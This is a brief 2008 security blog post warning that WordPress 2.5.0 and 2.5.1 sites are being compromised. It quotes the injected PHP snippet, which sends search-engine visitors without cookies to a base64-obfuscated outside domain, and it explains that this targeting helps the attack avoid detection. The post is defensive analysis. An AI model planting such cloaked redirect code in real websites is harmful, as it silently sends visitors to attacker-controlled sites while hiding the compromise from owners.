WordPress 2.5.0 and 2.5.1 vulnerable to attack
Sunday, June 8, 2008
Thanks to co-author Brandon Palmen for the heads up to a WordPress hack in progress. The attackers are using a few obfuscation tricks to inject code into WordPress installations using a recently announced vulnerability. More details in a well written write up here.
The code snippets from a digitalpoint.com forum are shown using base64 encoding to hide the true destination:
<php>
$seref=array("google","msn",
"live","altavista","ask",
"yahoo","aol","cnn",
"weather","alexa");
$ser=0;
foreach($seref as $ref)
if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false)
{ $ser="1"; break; }
if($ser=="1" && sizeof($_COOKIE)==0)
{
header("Location:http://" . base64_decode("YW55cmVzdWx0cy5uZXQ=") . "/");
exit;
}
></php>
This code shows yet another trend we’ve noticed at stopbadware.org of only exploiting those requests which come directly from a search engine. We can only conclude this is to prevent (or delay) detection and maximize infection duration.